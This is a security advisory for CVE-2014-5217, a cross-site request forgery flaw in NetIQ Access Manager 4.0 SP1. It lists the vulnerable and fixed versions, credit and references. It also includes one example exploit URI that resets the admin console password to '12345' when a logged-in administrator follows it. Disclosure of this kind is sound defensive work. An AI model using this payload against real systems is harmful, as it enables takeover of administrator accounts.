NetIQ Access Manager CVE-2014-5217 Cross Site Request Forgery Vulnerability

Bugtraq ID:	71755
Class:	Design Error
CVE:	CVE-2014-5217
Remote:	Yes
Local:	No
Published:	Dec 18 2014 12:00AM
Updated:	Dec 18 2014 12:00AM
Credit:	Wolfgang Ettlinger
Vulnerable:	NetIQ Access Manager 4.0 SP1 NetIQ Access Manager 4.0
Not Vulnerable:	NetIQ Access Manager 4.0 SP1 Hot Fix 3

NetIQ Access Manager CVE-2014-5217 Cross Site Request Forgery Vulnerability

NetIQ Access Manager is prone to a cross-site request-forgery vulnerability because it fails to properly validate HTTP requests.

Exploiting this issue allows a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible.

NetIQ Access Manager 4.0 SP1 is vulnerable; other versions may also be affected.

NetIQ Access Manager CVE-2014-5217 Cross Site Request Forgery Vulnerability

An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI.

The following example URI is available:

https://www.example.com /nps/servlet/webacc?taskId=fw.SetPassword&nextState=doSetPassword&merge=dev.GenConf&selectedObject=P%3Aadmin.novellP&single=admin.novell&SetPswdNewPassword=12345&SetPswdVerifyPassword=12345

NetIQ Access Manager CVE-2014-5217 Cross Site Request Forgery Vulnerability

References:

• Cross site Request Forgery script can be used to change Admin Console logged in (Novell)
  
• NetIQ Access Manager Homepage (NetIQ)
  
• Multiple high risk vulnerabilities (SEC Consult Vulnerability Lab)